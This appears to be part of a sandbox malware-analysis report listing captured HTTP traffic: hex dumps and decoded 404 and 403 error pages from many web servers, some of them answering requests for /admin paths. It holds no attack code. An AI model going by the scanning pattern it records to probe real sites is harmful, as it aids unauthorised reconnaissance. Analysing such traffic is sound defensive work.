10 39 32 de bf fb 9b 75 64 94 e9 09 8e c9 c8 b8 a4 64 91 32 2e 0d 14 b0 44 92 44 8e 8c 05 0d e5 7c 14 92 4b 1a 10 4b bd 98 88 26 54 52 1c 59 22 c0 11 19 79 0a 4b 44 93 af 88 93 68 64 a4 9c 4d 69 44 0c 34 e7 64 3a 32 e6 52 a6 62 e8 38 b3 38 9d d9 8c cf 9c ab 69 e2 78 50 a8 e0 49 d1 de e7 6c c2 a4 d8 2f 29 ef 27 8c 26 21 b9 32 d1 94 45 11 5b ec 23 47 15 79 62 59 e8 dd 9c 0a 24 a8 24 88 0a c4 52 49 63 fa 1b 09 d1 82 ca 39 92 73 82 fe 83 61 21 d1 c5 f9 6b 94 46 d9 8c 26 e8 d2 f7 ec 01 b2 50 c1 cc 12 00 ec 80 c5 ce 82 f1 30 e5 44 08 47 83 0a 47 10 e6 20 cb 02 d1 48 2a 23 32 7e f3 c7 7f cd 68 82 51 c2 10 49 40 30 1c 87 18 59 e8 02 c7 82 25 e8 05 a4 b0 48 a0 37 84 ff f1 bf a7 8e 2e 54 54 2e e5 2c 25 5c 2e 47 06 9b 0d 23 06 12 ab 49 97 88 cf e7 17 06 d4 2c 6f 9f 35 70 85 a9 06 fd 4d 8c 6c c4 0a 72 fb 0c 32 af 61 6e ad 4a 8e 41 04 9c a6 12 81 9a 8d 0c 9c a6 11 0d b0 a4 2c 71 a2 f0 fb 2f 82 25 06 0a 22 2c c4 c8 50 42 b5 44 30 27 31 b6 66 1c a7 73 63 7c 6d fc 55 a9 d2 95 34 86 a5 2a 68 10 50 06 c3 34 fe aa 21 87 1f ae 8d bf 02 0d 63 68 fc 83 4c 2e a8 24 90 49 c3 7a 39 25 70 3b 25 ce d3 05 99 40 3d 0c d3 c8 78 d4 0a 62 98 86 aa e4 d0 68 af 9c 69 84 44 57 8d b2 c4 18 1a 86 69 a4 d9 24 a2 62 4e b8 31 bc de 4c 9a f1 19 4e e8 6f 4a 06 c6 ca 34 52 06 96 42 71 74 16 80 58 8c 7a 4d 2e 08 e6 c1 3c cf 30 0d 89 f9 8c 48 85 3d af ea 79 22 f9 f2 0d a3 89 d4 55 79 47 e2 34 c2 12 a4 50 e8 aa 28 6b fd 83 18 5d 0b 85 f1 b3 24 3c fe 2c 24 a7 c9 6c 05 4c fc 9a 11 be b4 68 92 66 20 68 4e 7e cd 28 27 21 52 a6 75 b3 88 b1 fa 64 1a 34 79 85 93 59 86 67 40 4c 7b 8b 95 59 35 c2 eb 7a 35 b7 b4 c4 9a 38 6e 95 f9 96 d6 8a d8 8c d5 45 f3 32 c6 33 f2 7a f2 85 04 20 9b 16 6e b7 30 e5 68 15 73 00 a7 43 01 91 b3 45 55 16 a9 95 fb 3b 27 4b 23 86 43 e1 f8 ae ef 3b ee 81 42 60 15 2d 90 80 be e6 90 ef 37 a8 dd 37 e1 52 fe d4 18 1e bb a6 31 27 74 36 97 fa 39 c0 a9 d6 a4 0d aa bb 32 0d 55 a7 ad 6a da 26 82 95 69 08 1c 93 33 61 0c 3f 94 fa b5 58 2c ec 25 cb 64 36 21 ca 23 66 82 70 e7 e2 ec e7 8b d7 bf fc f4 f6 f5 fb 37 c6 a7 d5 a7 d5 a9 a3 6d 05 1c 15 78 60 e7 86 8f b5 95 cf dc dd 3d 2d 7b 82 fd 30 11 56 ca c9 94 c8 60 be af bb 83 7d c7 01 7a 33 c6 66 11 91 78 16 e3 04 cf 08 07 c2 ca
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-137.ec2.internalX-Request-Id: 1d31691e-bca9-4d49-89fb-90b527477ecbData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-117.ec2.internalX-Request-Id: 4814e0fe-084c-41d8-ac2d-b9719a8c0144Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-53.ec2.internalX-Request-Id: 159770e6-894b-4e9a-9c76-e9dfca7b456aData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 62 76 68 72 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at bvhrs.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16Content-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /admin was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:40 GMTServer: ApacheContent-Length: 208Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 61 64 6d 69 6e 2f 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /admin/on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.33content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <http://hmichaelandco.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:40 GMTserver: LiteSpeedData Raw: 32 66 38 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 36 b2 e8 67 b9 ea fc 07 0c 9d 58 d2 2c 49 51 2f 3f 64 cb 39 93 d9 64 93 53 c9 26 37 93 9c ad 5b 93 39 2a 88 84 24 cc 50 04 97 80 64 7b 3d fe 41 f7 6f dc 5f 76 ab f1 20 41 8a 7a f8 91 9c f3 e1 2a 95 31 09 02 dd 8d 46 a3 d1 00 ba 81 ab 57 11 0b c5 5d 4a d0 42 2c e3 eb a3 2b f8 83 62 9c cc c7 0e 49 bc df de 39 47 8d 34 23 33 7a 3b 76 d8 7c 84 16 42 a4 7c d4 e9 b0 79 ea 2f 49 27 e1 c7 0e 82 52 04 47 d7 47 57 4b 22 b0 cc e2 91 7f ae e8 7a ec bc 65 89 20 89 f0 7e bd 4b 89 83 42 f5 36 76 04 b9 15 1d c0 74 89 c2 05 ce 38 11 e3 df 7e fd d6 3b 77 50 e7 fa e8 e8 ea 95 e7 a1 1f d9 94 c6 04 bd 4b 49 48 67 34 44 3f 12 81 39 3a 41 df e2 35 0d 59 c2 91 e7 19 84 09 5e 92 b1 b3 a6 e4 26 65 99 b0 d0 dc d0 48 2c c6 11 59 d3 90 78 f2 c5 45 34 a1 82 e2 d8 e3 21 8e c9 b8 eb a2 25 be a5 cb d5 b2 48 58 71 92 c9 37 3c 8d c9 38 70 ae af 62 9a 7c 42 19 89 c7 0e 5f b0 4c 84 2b 81 80 06 07 2d 32 32 1b 3b c0 93 51 a7 b3 58 d2 70 81 49 8c 93 28 64 7e c8 96 9d 9b d4 d3 55 ee ac d2 98 e1 88 77 7a 41 2f e8 04 a7 79 66 3f 4d e6 25 0c 38 4d 63 e2 09 b6 0a 17 de 9f 88 84 d3 7f 11 3e 76 ba bd e0 b6 db 0b fe a4 9a 69 a4 67 a7 b7 67 a7 7f 2e ca ee b0 77 db 1d f6 5e 10 29 c8 ec 3f 58 16 fd 9c 11 ce d1 3b b1 9a cd a4 88 a2 2d bf 2b 1e 66 34 15 d7 47 5b be cb e4 ce 6b f4 bf d9 0a 85 38 41 38 8a d0 92 65 04 3a d1 8c ce 57 19 16 94 25 88 a5 f0 87 23 c1 d0 0d 99 ce 58 22 40 ce 48 86 a6 77 28 cd c8 9a b2 15 8f ef 50 44 66 34 a1 c9 1c 89 05 41 ff 20 d3 6f 59 22 de 4a 40 e8 86 8a 05 ba 63 ab 2c 87 f5 ba b3 93 28 3a 43 2d 04 2a 83 cd 2a a0 c6 e3 31 72 56 89 44 46 22 07 b5 d1 fd 4e 48 50 c7 32 31 63 94 90 1b f4 d3 f4 23 09 45 ab 7d b9 b3 f4 c3 ce af 25 b8 ef 9b 73 c6 e6 31 69 7e 40 63 74 3f c3 4b 1a 53 c2 47 e8 7d f3 47 96 08 4e b2 0c 8b 51 37 08 dc 5e 10 b8 fd 20 70 07 41 e0 0e 83 c0 3d 0d 02 f7 2c 08 dc f3 20 70 2f 82 c0 ed 06 01 15 38 a6 21 e4 d4 4f fd fc 69 90 3f 0d f3 a7 d3 fc e9 2c 7f 3a cf 9f 2e cc 53 d3 45 cd 9f 52 92 fc e5 1d 4e f8 c8 90 60 a3 af 43 b3 13 f8 09 5f 4d 41 b3 c6 58 d0 a4 f9 e1 e1 f2 68 27 c3 5a b3 55 12 82 30 b5 0e 69 b6 35 ce d0 cd 0c 8d 51 c4 c2 d5 92 24 c2 0f 33 82 05 f9 26 26 f0 d6 42 4d 25 df 4d b4 a7 15 41 06 6e 66 3e cf 42 34 46 4d 33 bc e0 8f f8 d6 57 6d 86 53 ca a5 36 85 b4 4e 4c a7 bc a3 25 bd d3 f5 87 7e df bc f9 1f 79 73 b7 c0 68 54 72 b4 1b a3 a6 1c 84 3e e2 35 d6 94 1e 54 18 f3 bb 44 52 2a b2 15 39 00 1f f0 89 db 6c 9a 13 a1 79 c4 bf be fb 15 cf ff 8e 97 c4 e6 d6 fb e0 c3 7e 42 b8 9f e2 8c 24 e2 ef 2c 22 3e 4d 38 c9 c4 d7 64 c6 32 d2 42 37 33 Data Ascii: 2f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-181.ec2.internalX-Request-Id: 18898dca-c113-4e77-a143-5ea2092e8276Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-234.ec2.internalX-Request-Id: fdfcc70f-f991-49e4-ae8c-d9ffecc944b8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-88.ec2.internalX-Request-Id: 12fb08d3-8df7-4320-9aae-036c44547809Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-167.ec2.internalX-Request-Id: 3b4f90a7-9821-45a7-a5ff-3f061b4255f7Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-67.ec2.internalX-Request-Id: 0059ca8a-5d7d-4a1e-a631-34d08909dfebData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 62 76 68 72 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at bvhrs.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-167.ec2.internalX-Request-Id: bbca6acf-61ae-429f-84d6-137cf384224aData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
